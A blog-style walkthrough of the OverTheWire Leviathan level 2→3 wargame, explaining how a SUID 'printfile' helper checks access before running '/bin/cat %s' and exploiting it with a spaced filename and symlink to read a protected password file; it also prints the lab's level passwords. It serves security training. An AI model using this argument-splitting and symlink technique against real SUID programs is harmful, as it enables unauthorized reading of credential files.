OverTheWire Leviathan Level 2 → 3 tutorial!!
Login
Log in as leviathan2 using the password from Level 1 → 2.
ssh leviathan2@leviathan.labs.overthewire.org -p 2223
# password: NsN1HwFoyN
Why? Each level is a different UNIX user. To solve 2 → 3 you must be
leviathan2
.
Task
There is a SUID binary printfile
in leviathan2
’s home. Use it to obtain the password for leviathan3.
A little bit of Theory
- SUID binaries run with the owner’s privileges (here:
leviathan3
). ltrace
shows library calls/arguments (e.g.,access
,system
).- Path parsing gotcha: some programs build shell commands like
"/bin/cat %s"
. If%s
contains a space, the shell may split it into two arguments. - Symlinks let you make a harmless-looking path point to a sensitive file.
Further reading:
Solution
-
Spot the SUID binary
ls -la
Expected:
-r-sr-x--- 1 leviathan3 leviathan2 7436 Aug 26 2019 printfile
Why? We need a binary that runs as leviathan3.
-
Try the program
./printfile # then ./printfile .bash_logout # and ./printfile /etc/leviathan_pass/leviathan3
Typical:
*** File Printer *** Usage: ./printfile filename
For a readable file you own:
./printfile .bash_logout # ~/.bash_logout: executed by bash(1) when login shell exits. ...
Output:
You cant have that file...
Why? It prints readable files, but refuses the password file (“You cant have that file…”).
-
Trace to understand the checks
ltrace ./printfile .bash_logout
Snippet (typical):
access(".bash_logout", 4) = 0 snprintf("/bin/cat .bash_logout", 511, "/bin/cat %s", ".bash_logout") = 21 setreuid(12002, 12002) = 0 system("/bin/cat .bash_logout") = 0
Why? We see the order:
access(filename, R_OK)
as leviathan2, then latersetreuid(leviathan3)
andsystem("/bin/cat %s")
. So the permission check happens before it becomesleviathan3
, and then a shell command is built with%s
. -
Probe with a filename that contains a space
dir=$(mktemp -d) touch "$dir/test file.txt" ltrace ./printfile "$dir/test file.txt"
Trace shows:
access("/tmp/.../test file.txt", 4) = 0 system("/bin/cat /tmp/.../test file.txt") # cat treats these as TWO args: '/tmp/.../test' and 'file.txt'
Why?
access()
sees the full path (allowed), but/bin/cat %s
is tokenized by the shell: the first token is…/test
and the second isfile.txt
. That split is our injection point. -
Exploit via a symlink named
test
ln -s /etc/leviathan_pass/leviathan3 "$dir/test" chmod 777 "$dir" ls -la "$dir"
Why? When
/bin/cat
receives the split tokens, it will read"$dir/test"
first — our symlink that points at the real password file. -
Trigger the read and capture the password
./printfile "$dir/test file.txt"
Why?
/bin/cat
follows the first token"$dir/test"
→ dereferences to/etc/leviathan_pass/leviathan3
and prints the password. It will also complain aboutfile.txt
, which we can ignore.
Password
f0n8h2iWLP
Troubleshooting
- “You cant have that file…” immediately? Ensure you’re calling the spaced name:
"$dir/test file.txt"
. - No output, only errors for
file.txt
? Re-create the symlink:ln -sf /etc/leviathan_pass/leviathan3 "$dir/test"
. - Permission denied on temp dir?
chmod 777 "$dir"
so the SUID owner can traverse it. - Different tmp path names? That’s fine;
mktemp -d
generates random names each time.
Copy-paste quick run
ssh leviathan2@leviathan.labs.overthewire.org -p 2223
# password: NsN1HwFoyN
cd ~
ls -la # see SUID ./printfile
ltrace ./printfile .bash_logout
dir=$(mktemp -d)
touch "$dir/test file.txt"
ln -s /etc/leviathan_pass/leviathan3 "$dir/test"
chmod 777 "$dir"
./printfile "$dir/test file.txt" # → f0n8h2iWLP
Congrats 🎉 You abused argument splitting + symlinks to make a SUID helper read a protected file. On to leviathan3!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨